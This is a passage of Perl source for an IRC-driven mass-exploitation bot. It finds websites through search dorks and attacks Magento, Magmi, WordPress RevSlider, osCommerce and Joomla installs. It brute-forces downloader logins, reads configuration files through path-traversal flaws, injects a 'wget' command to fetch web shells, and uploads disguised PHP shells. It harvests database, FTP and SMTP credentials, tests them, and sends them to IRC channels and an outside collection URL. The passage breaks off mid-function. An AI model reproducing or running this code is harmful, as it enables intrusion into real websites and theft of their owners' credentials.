&get_content("".$botsaver."?x=-SHELL- ".$test1x."");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test1x."");}
my $html2x = &get_content($test2x);#sleep(1);
if ($html2x =~ /GIF89GHZ/) {
if ($html2x =~ /
(.*)
/){$osx=$1;}
&get_content("".$botsaver."?x=-SHELL- ".$test2x." (OS:".$osx.")");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test2x." 9".$osx."");}
my $html3x = &get_content($test3x);
if ($html3x =~ /post>Password:/) {
&get_content("".$botsaver."?x=-SHELL- ".$test3x."");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test3x."");}
my $html4x = &get_content($test4x);#sleep(1);
if ($html4x =~ /GIF89a/) {
&get_content("".$botsaver."?x=-SHELL- ".$test4x."");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test4x."");}
my $html5x = &get_content($test5x);
if ($html5x =~ /post>Password:/) {
&get_content("".$botsaver."?x=-SHELL- ".$test5x."");
&msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test5x."");}
}}}
sub chkdownload {
my $site = $_[0];
my $dirr = $_[1];
my $chan = $_[2];
my $engine = $_[3];
my $website = "http://".$site."downloader/";
my $wbst = "http://".$site."downloader/index.php?A=settings";
my $check = &get_content($website);
if ($check =~ /Magento Downloader/) {
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "system32";
$form{password} = "devil123";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Upload package file/ ) {
&get_content("".$botsaver."?x=-SHOPLIFT- http://".$site."index.php/".$dirr."/ - Login Success");
&msg("$chan","99[ShopLift] http://".$site."index.php/".$dirr."/ - 13Login Success");
&msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site."index.php/".$dirr."/ 9- 13Login Success");}
if ($res =~ /Warning: (.*)<\/h4/ ) {
if ($res =~ /Warning: (.*)<\/h4/ ) {$warn=$1;}
&get_content("".$botsaver."?x=-SHOPLIFT- http://".$site." - ".$warn."");
&msg("$chan","99[ShopLift] http://".$site." -4 $warn");
&msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site." 9-4 $warn");}
if($res =~ /Invalid/) {
&chkbegal($site,$dirr,$chan,$engine);}
}}}
sub chkbegal {
my $site = $_[0];
my $dirr = $_[1];
my $chan = $_[2];
my $engine = $_[3];
my $website = "http://".$site."downloader/";
my $wbst = "http://".$site."downloader/index.php?A=settings";
my $check = &get_content($website);
if ($check =~ /Magento Downloader/) {
my ($useragent,$request,$response,%form);
undef %form;
$form{username} = "xSouL";
$form{password} = "gentho";
$useragent = LWP::UserAgent->new(agent => $uagent);
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ /Upload package file/ ) {
&get_content("".$botsaver."?x=-SHOPLIFT- http://".$site."index.php/".$dirr."/ - Login Success xSouL Kontol");
&msg("$chan","99[ShopLift] http://".$site."index.php/".$dirr."/ - 13Login Success xSouL Kontol");
&msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site."index.php/".$dirr."/ 9- 13Login Success xSouL Kontol");}
if ($res =~ /Warning: (.*)<\/h4/ ) {
if ($res =~ /Warning: (.*)<\/h4/ ) {$warn=$1;}
&get_content("".$botsaver."?x=-SHOPLIFT- http://".$site." - ".$warn."");
&msg("$chan","99[ShopLift] http://".$site." -4 $warn");
&msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site." 9-4 $warn");}
}}}
sub magsql() {
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$magelogo);
my $num = scalar(@list);
if ($num > 0) {
foreach my $site (@list) {
$count++;
if ($count == $num-1) { &msg("$chan","$magelogo14(4$engine14)3 Finished..."); }
my $test = "http://".$site."/app/etc/local.xml";
my $test2 = "http://".$site."phpmyadmin";
my $html = &get_content($test);
if ($html =~ /dbname/i )
{
if ($html =~ /<\/key>/) {$key=$1;}
if ($html =~ /<\/host>/) {$serverIP=$1;}
if ($html =~ /<\/username>/){$user=$1;}
if ($html =~ /<\/password>/){$pass=$1;}
if ($html =~ /<\/dbname>/){$dbname=$1;}
if ($html =~ /<\/frontName>/){$adminpage=$1;}
my $check = &get_content("http://".$site."phpmyadmin");
if ($check =~ /phpMyAdmin/) {
&get_content("".$botsaver."?x=-PHPMYADMIN- http://".$site."phpmyadmin");
&msg("$chanxxx","$magelogo13 Hacked 13(4@13phpMyAdmin) http://".$site."phpmyadmin");}
my $checker = &get_content("http://".$site."phpinfo.php");
if ($checker =~ /DOCUMENT_ROOT/) {
&get_content("".$botsaver."?x=-PHPINFO- http://".$site."phpinfo.php");
&msg("$chanxxx","$magelogo13 Hacked 13(4@13Info) http://".$site."phpinfo.php");}
my $checkerz = &get_content("http://".$site."info.php");
if ($checkerz =~ /DOCUMENT_ROOT/) {
&get_content("".$botsaver."?x=-PHPINFO- http://".$site."info.php");
&msg("$chanxxx","$magelogo13 Hacked 7(4@7Info) http://".$site."info.php");}
&get_content("".$botsaver."?x=-DATABASE- http://".$site." - Hostname: ".$serverIP." - Username: ".$user." - Password: ".$pass." - DBName: ".$dbname." - Panel: ".$adminpage." [+]key: ".$key."");
&msg("$chan","4$magelogo4 6[+]Database[+]6 11http://".$site."11 6[+]hostname:6 11".$serverIP."11 6[+]username:6 11".$user."11 6[+]password:6 11".$pass."11 6[+]dbname:6 11".$dbname."11 6[+]admipage:6 11".$adminpage."11 6[+]key:6 11".$key."11");
&msg("$chanxxx","4$magelogo4 6[+]Database[+]6 11http://".$site."11 6[+]hostname:6 11".$serverIP."11 6[+]username:6 11".$user."11 6[+]password:6 11".$pass."11 6[+]dbname:6 11".$dbname."11 6[+]admipage:6 11".$adminpage."11 6[+]key:6 11".$key."11");
if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
my $ceklog = "".$ftpxpl."?host=".$site."&user=".$usr."&pass=".$pass."";
my $ceklog2 = "".$ftpxpl."?host=".$site."&user=".$user."&pass=".$pass."";
my $ftplog = &get_content($ceklog);
my $ftplog2 = &get_content($ceklog2);
if ($ftplog =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$pass."");
&msg("$chanxxx","$magelogo13[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
}
if ($ftplog2 =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$user." - Password:".$pass."");
&msg("$chanxxx"," $magelogo13[+]FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass."");
}
my $port = "3306";
my $platform = "mysql";
my $dsn = "dbi:$platform:$dbname:$site:$port";
my $DBIconnect= DBI->connect($dsn,$user,$pass);
if ($DBIconnect) {
&get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$serverIP." - Username:".$user." - Password:".$pass." - DBName:".$dbname."");
&msg("$chan","$magelogo6[+]MYSQL[+] 6[ 6http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname." 6] [4 Connected 4]");
&msg("$chanxxx","$magelogo6[+]MYSQL[+] 6[ 6http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname." 6] [4 Connected 4]");
}
my $dsn2 = "dbi:$platform:$dbname:$serverIP:$port";
my $DBIconnect2 = DBI->connect($dsn2,$user,$pass);
if ($DBIconnect2) {
&get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$serverIP." - Username:".$user." - Password:".$pass." - DBName:".$dbname."");
&msg("$chan","$magelogo6[+]MYSQL[+] 6[ 6http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname." 6] [4 Connected 4]");
&msg("$chanxxx","$magelogo6[+]MYSQL[+] 6[ 6http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname." 6] [4 Connected 4]");
}
}
}
}
}
sub xxe_query() {
my $jembut = $_[0];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
$b = "";
$b .= " ]>";
$b .= "&xxe;";
my $response = $userAgent->request(POST $jembut , Content_Type => 'text/xml', Content => $b);
return $response->content;
}
sub magelfi() {
my $chan = $_[0];
my $bug = $_[1];
my $simpan = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$magelogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$magelogo 4$engine 0 Selesai"); }
my $bug = "/magmi/web/ajax_pluginconf.php?file=";
my $dir = "../../../../../../../../../../../";
my $test = "http://".$site.$bug.$dir."/etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility";
my $vuln = "http://".$site."magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../proc/self/environ&plugintype=utilities&pluginclass=CustomSQLUtility";
my $htmlx = &get_content($testx);
my $shell = "http://".$site."/magmi/web/rss.php";;
my $html = get_content($vuln);
if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT=/) {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $sys = $1;
my $code = 'echo "s4l1ty#".php_uname()."#s4l1ty"; if(@copy("'.$lfiinjector.'","/")) { echo "SUCCESS"; }';
my $version = 'echo "Indonesiancoder".php_uname().';
my $upload = 'system("wget '.$lfishell.' -O rss.php");';
my $upload1 = 'system("wget '.$lfishell.' -O rss.php");';
my $wget = lfi_env_query($vuln,encode_base64($upload)); sleep(2);
my $wget1 = lfi_env_query($test,encode_base64($upload1)); sleep(2);
my $check = get_content("http://".$site."/magmi/web/rss.php"); sleep(1);
if ($check =~ /GIF675ER/) {
if ($check =~ /Kernel:(.*?)<\/b>/){$os=$1;}
&msg("$chanxxx","$magelogo15(09@03$engine15)04 ".$shell." 15(9@3".$os."15)");
&msg("$chan","$magelogo15(09@03$engine15)04 ".$site." 15(9@3".$os."TusbolleD15) TusBoleD");
sleep(2);
} else {
&msg("$chan","$magelogo15(09@3$engine15)15(09@04SysTem15)4 ".$vuln." 15(09@03".$sys."15) VulN");
sleep(2);
}
} exit; }
}
}
}
}
}
}
sub lfi_env_query() {
my $url = $_[0];
my $code = $_[1];
my $ua = LWP::UserAgent->new(agent => "");
$ua->timeout(7);
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
return $res->content;
}
sub mageupl() {
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$magelogo);
my $num = scalar(@list);
if ($num > 0) {
foreach my $site (@list) {
$count++;
if ($count == $num-1) { &msg("$chan","$magelogo14(4$engine14)3 Finished..."); }
my $test = "http://".$site."/magmi/web/magmi.php";
my $test1 = "http://".$site."/magmi/conf/magmi.ini";
my $crot = "http://".$site."/magmi/web/plugin_upload.php";
my $htmlx = magento_query($crot);sleep(1);
my $htmlx = magentox_query($test);sleep(1);
my $html = &get_content($test);
my $html1 = &get_content($test1);
if ($html =~ /magmi_saveconfig.php/){
&msg("$chan","$magelogo 6 4 Hacked 6 http://".$site."magmi/web/magmi.php");}
if ($html1 =~ /DATABASE/){
&get_content("".$botsaver."?x=-MAGMI- http://".$site."magmi/conf/magmi.ini");
&msg("$chan","$magelogo 6 4 Hacked 6 http://".$site."magmi/conf/magmi.ini");}
if ($htmlx =~ /Plugin packaged installed/){
&get_content("".$botsaver."?x=-UPLOADER- http://".$site."magmi/web/magmi.php");
#&msg("$chan","$magelogo(11,1$engine11)8 http://".$site."magmi/web/magmi.php");
&msg("$chanxxx","$magelogo(13,1$engine13)8 http://".$site."magmi/web/magmi.php");}
my $check = &get_content("http://".$site."magmi/plugins/rss.php");sleep(1);
if ($check =~ /GIF675ER/) {
&get_content("".$botsaver."?x=-SHELL- http://".$site."/magmi/plugins/rss.php");
&msg("$chanxxx","7,1[47] http://".$site."/magmi/plugins/rss.php 9");
}
}
}
}
sub magento_query() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(20);
my $req = $ua->post($url,Content_Type=>'multipart/form-data',Content=>["plugin_package"=>["$mag_shell"]]);
return $req->content;
}
sub magentox_query() {
my $url = $_[0];
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(20);
my $req = $ua->post($url,Content_Type=>'multipart/form-data',Content=>["plugin_package"=>["$mag_shell"]]);
return $req->content;
}
sub revlfd() {
my $chan = $_[0];
my $bug = $_[1];
my $simpan = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$revlogo);
my $num = scalar(@list);
if ($num > 0){
foreach my $site(@list){
$count++;
if ($count == $num-1) { &msg("$chan","$revlogo 4$engine 0 Selesai"); }
my $test = "http://".$site."/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php";
my $html = &get_content($test);
if ($html =~ /DB_NAME/i )
{
if ($html =~ /\DB_NAME\', '(.*)'\);/) {$dbrev=$1;}
if ($html =~ /\DB_USER\', '(.*)'\);/) {$userrev=$1;}
if ($html =~ /\DB_PASSWORD\', '(.*)'\);/) {$passrev=$1;}
if ($html =~ /\DB_HOST\', '(.*)'\);/) {$hostrev=$1;}
my $check = &get_content("http://".$site."phpmyadmin");
if ($check =~ /phpMyAdmin/) {
&get_content("".$botsaver."?x=-PHPMYADMIN- http://".$site."phpmyadmin");
#&msg("$chan","$revlogo9(4@9phpMyAdmin) http://".$site."phpmyadmin");
&msg("$chanxxx","$revlogo9(4@9phpMyAdmin) http://".$site."phpmyadmin");
}
my $checker = &get_content("http://".$site."phpinfo.php");
if ($checker =~ /DOCUMENT_ROOT/) {
&get_content("".$botsaver."?x=-PHPINFO- http://".$site."phpinfo.php");
#&msg("$chan","$revlogo9(4@9Info) http://".$site."phpinfo.php");
&msg("$chanxxx","$revlogo9(4@9Info) http://".$site."phpinfo.php");
}
my $checkerz = &get_content("http://".$site."info.php");
if ($checkerz =~ /DOCUMENT_ROOT/) {
&get_content("".$botsaver."?x=-PHPINFO- http://".$site."info.php");
#&msg("$chan","$revlogo9(4@9Info) http://".$site."info.php");
&msg("$chanxxx","$revlogo9(4@9Info) http://".$site."info.php");
}
&get_content("".$botsaver."?x=-DATABASE- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBNname:".$dbrev."");
&msg("$chanxxx","$revlogo13[+]Database[+] http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." ");
&msg("$chan","$revlogo13[+]Database[+] http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." ");
if ($userrev =~ /_/) {@users = split("_", $userrev); $usr = $users[0];}
my $ceklog = "".$ftpxpl."?host=".$site."&user=".$usr."&pass=".$passrev."";
my $ceklog2 = "".$ftpxpl."?host=".$site."&user=".$userrev."&pass=".$passrev."";
my $ftplog = &get_content($ceklog);
my $ftplog2 = &get_content($ceklog2);
if ($ftplog =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$passrev."");
&msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$passrev."");
}
if ($ftplog2 =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$userrev." - Password:".$passrev."");
&msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$userrev." [+]password:".$passrev."");
}
my $ngecek = "http://".$site.":".$portcpanel."";
my $port = "3306";
my $platform = "mysql";
my $dsn = "dbi:$platform:$dbrev:$site:$port";
my $DBIconnect= DBI->connect($dsn,$userrev,$passrev);
if ($DBIconnect) {
&get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
#&msg("$chan","$revlogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
&msg("$chanxxx","$revlogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
}
my $dsn2 = "dbi:$platform:$dbname:$hostrev:$port";
my $DBIconnect2= DBI->connect($dsn2,$userrev,$passrev);
if ($DBIconnect2) {
&get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
#&msg("$chan","$revlogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$serverIP." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
&msg("$chanxxx","$revlogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$serverIP." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
}}}
}
}
sub revshell(){
my $chan = $_[0];
my $bug = $_[1];
my $simpan = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$revlogo);
my $num = scalar(@list);
if ($num > 0){
foreach my $site(@list){
$count++;
if ($count == $num-1) {
#&msg("$chan","$revlogo 4$engine 0 Selesai");
}
my $test = "".$revxpl."?target=http://".$site."/&x=rev";
my $html = &get_content($test);
if($html =~ /Sukses Bos/i){
if($html =~ /path:(.*)
/){$path=$1;}
my $shell = "http://".$site.$path;
my $jos = &get_content($shell);
my $lel = $shell."?x=kernel";
my $lol = &get_content($lel);
&msg("$chan","$revlogo $engine <=> Sukses <=> http://".$site);
if($jos =~ /GIF675ER/i){
&get_content("".$botsaver."?x=-SHELL- ".$shell." [OS: ".$lol."]");
&msg("$chanxxx","$revlogo 7 <=> sHeLL <=> ".$shell." 4".$lol."");
#&msg("$chan","$revlogo 7 <=> sHeLL <=> ".$shell." 4".$lol."");
}
}
}
}
}
sub osco_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $simpan = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
my $num = scalar(@list);
if ($num > 0){
foreach my $site(@list){
$count++;
if ($count == $num-1) { &msg("$chan","$oscologo 4$engine 0 Selesai"); }
my $cat = "http://".$site."admin/categories.php/login.php";
my $fm = "http://".$site."admin/file_manager.php/login.php";
my $bm = "http://".$site."admin/banner_manager.php/login.php";
my $shell = "http://".$site."images/lobex.php";
my $coba = &get_content($cat);
my $cob2 = &get_content($fm);
my $cob3 = &get_content($bm);
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
if ($coba =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
my $test = $cat."?action=download&filename=/includes/configure.php";
my $cek = &get_content($test);
if ($cek =~ /http:\/\//) {
&osql_xpl($test,$chan,$site,$engine);
}
my $aplod = LWP::UserAgent->new;
my $res = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;
my $cekap = &get_content($shell);
if ($cekap =~ /GIF675ER/) {
if ($cekap =~ /Kernel:(.*?)<\/b>/){$os=$1;}
&msg("$chan","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 http://".$site."15 (OS=$os) ");
&msg("$chanxxx","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (OS=$os) ");sleep(1);
}
}
if ($cob2 =~ /TABLE_HEADING_FILENAME/i) {
my $test2 = $fm."?action=download&filename=/includes/configure.php";
my $cek2 = &get_content($test2);
if ($cek2 =~ /http:\/\//) {
&osql_xpl($test2,$chan,$site,$engine);
}
my $aplod2 = LWP::UserAgent->new;
my $res2 = $aplod2->post($fm."?action=processuploads",['file_1' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string;
my $cekap = &get_content($shell);
if ($cekap =~ /GIF675ER/) {
if ($cekap =~ /Kernel:(.*?)<\/b>/){$os=$1;}
&msg("$chan","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 http://".$site."15 (OS=$os) ");
&msg("$chanxxx","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (OS=$os) ");sleep(1);
}
}
if ($cob3 =~ /TABLE_HEADING_BANNERS/i) {
my $test3 = $bm."?action=download&filename=/includes/configure.php";
my $cek3 = &get_content($test3);
if ($cek3 =~ /http:\/\//) {
&osql_xpl($test3,$chan,$site,$engine);
}
my $aplod3 = LWP::UserAgent->new;
my $res3 = $aplod3->post($bm."?action=insert",['banners_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string;
my $cekap = &get_content($shell);
if ($cekap =~ /GIF675ER/) {
if ($cekap =~ /Kernel:(.*?)<\/b>/){$os=$1;}
&msg("$chan","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 http://".$site."15 (OS=$os) ");
&msg("$chanxxx","$oscologo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (OS=$os) ");sleep(1);
}
}
} exit;
}
}
}
}
sub osql_xpl() {
my $url = $_[0];
my $chan = $_[1];
my $site = $_[2];
my $engine = $_[3];
my $request = HTTP::Request->new(GET=>$url);
my $browser = LWP::UserAgent->new();
$browser->timeout(10);
my $response = $browser->request($request);
my @dbsinfo;
if ($response->is_success) {
my $dpath = ""; my $dbserver = ""; my $dbuser = ""; my $dbpass = ""; my $dbname = "";
my $res = $response->as_string;
if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
$dpath = $1;
&msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DIR Path: 4 $dpath");
}
if ($res =~ m/'DB_SERVER', '(.*)'/g) {
$dbserver = $1;
&msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DB Server: 4 $dbserver");
}
if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
$dbuser = $1;
&msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DB Username: 4 $dbuser");
}
if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
$dbpass = $1;
&msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DB Password: 4 $dbpass");
}
if ($res =~ m/'DB_DATABASE', '(.*)'/g) {
$dbname = $1;
&msg("$chan","$oscologo15$engine 4<9=4>9 http://".$site." 15[+]DB Database: 4 $dbname");
}
my $hosts = "http://".$site;
if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
$host = $2;
&dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$oscologo);sleep(1);
if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; }
&ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$oscologo);sleep(1);
}
}
}
sub joomla_xpl() {
my $chan = $_[0];
my $bug = $_[1];
my $simpan = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$joomlalogo);
my $num = scalar(@list);
if ($num > 0){
foreach my $site(@list){
$count++;
if ($count == $num-1) { &msg("$chan","$joomlalogo 4$engine 0 Selesai"); }
my $test = "http://".$site."/index.php?option=com_cckjseblod&task=download&file=configuration.php";
my $html = &get_content($test);
if ($html =~ /class JConfig/i )
{
if ($html =~ m/\$db = '(.+?)';/i) {$dbrev=$1;}
if ($html =~ m/\$user = '(.+?)';/i) {$userrev=$1;}
if ($html =~ m/\$password = '(.+?)';/i) {$passrev=$1;}
if ($html =~ m/\$host = '(.+?)';/i) {$hostrev=$1;}
if ($html =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
if ($html =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
if ($html =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
if ($html =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
if ($html =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
if ($html =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
if ($html =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
if ($html =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
if ($smtpauth =~ /1/) {
&get_content("".$botsaver."?x=-SMTP- Host: ".$smtphost." - Login: ".$smtpuser." - Pass: ".$smtppass."");
&msg("$chan","9[SMTP] Found on http://$site ");
&msg("$chanxxx","9[SMTP] [ host : ".$smtphost." ] [ login : ".$smtpuser." ] [ pass : ".$smtppass." ]");
}
my $check = &get_content("http://".$site."phpmyadmin");
if ($check =~ /phpMyAdmin/) {
&get_content("".$botsaver."?x=-PHPMYADMIN- http://".$site."/phpmyadmin");
#&msg("$chan","$joomlalogo9(13@9phpMyAdmin) http://".$site."/phpmyadmin");
&msg("$chanxxx","$joomlalogo9(13@9phpMyAdmin) http://".$site."/phpmyadmin");
}
my $checker = &get_content("http://".$site."phpinfo.php");
if ($checker =~ /DOCUMENT_ROOT/) {
&get_content("".$botsaver."?x=-PHPINFO- http://".$site."phpinfo.php");
#&msg("$chan","$joomlalogo9(13@9Info) http://".$site."phpinfo.php");
&msg("$chanxxx","$joomlalogo9(13@9Info) http://".$site."phpinfo.php");
}
my $checkerz = &get_content("http://".$site."info.php");
if ($checkerz =~ /DOCUMENT_ROOT/) {
&get_content("".$botsaver."?x=-PHPINFO- http://".$site."info.php");
#&msg("$chan","$joomlalogo9(@Info) http://".$site."info.php");
&msg("$chanxxx","$joomlalogo9(@Info) http://".$site."info.php");
}
&get_content("".$botsaver."?x=-DATABASE- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
&msg("$chanxxx","$joomlalogo13[+]Database[+] http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." ");
&msg("$chan","$joomlalogo13[+]Database[+] http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." ");
if ($userrev =~ /_/) {@users = split("_", $userrev); $usr = $users[0];}
my $ceklog = "".$ftpxpl."?host=".$site."&user=".$usr."&pass=".$passrev."";
my $ceklog2 = "".$ftpxpl."?host=".$site."&user=".$userrev."&pass=".$passrev."";
my $ceklog3 = "".$ftpxpl."?host=".$ftphost."&user=".$ftpuser."&pass=".$ftppass."";
my $ftplog = &get_content($ceklog);
my $ftplog2 = &get_content($ceklog2);
my $ftplog3 = &get_content($ceklog3);
if ($ftplog =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$passrev."");
&msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$passrev."");
}
if ($ftplog2 =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$userrev." - Password:".$passrev."");
&msg("$chanxxx","8[+]FTP[+] ftp://".$site." [+]username:".$userrev." [+]password:".$passrev."");
}
if ($ftplog3 =~ /FTP success!/) {
&get_content("".$botsaver."?x=-FTP- ".$ftphost." - Username:".$ftpuser." - Password:".$ftppass."");
&msg("$chanxxx","8[+]FTP[+] ".$ftphost." [+]username:".$ftpuser." [+]password:".$ftppass."");
}
my $ngecek = "http://".$site.":".$portcpanel."";
my $port = "3306";
my $platform = "mysql";
my $dsn = "dbi:$platform:$dbrev:$site:$port";
my $DBIconnect= DBI->connect($dsn,$userrev,$passrev);
if ($DBIconnect) {
&get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
#&msg("$chan","$joomlalogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
&msg("$chanxxx","$joomlalogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$hostrev." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
}
my $dsn2 = "dbi:$platform:$dbname:$hostrev:$port";
my $DBIconnect2= DBI->connect($dsn2,$userrev,$passrev);
if ($DBIconnect2) {
&get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$hostrev." - Username:".$userrev." - Password:".$passrev." - DBName:".$dbrev."");
#&msg("$chan","$joomlalogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$serverIP." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
&msg("$chanxxx","$joomlalogo9[+]MYSQL[+] 15[ 9http://".$site." [+]hostname:".$serverIP." [+]username:".$userrev." [+]password:".$passrev." [+]dbname:".$dbrev." 15] [4 Connected 15]");
}
}
}
}
}
sub jce_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $simpan = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @list = &search_engine($chan,$bug,$dork,$engine,$jcelogo,$nick);
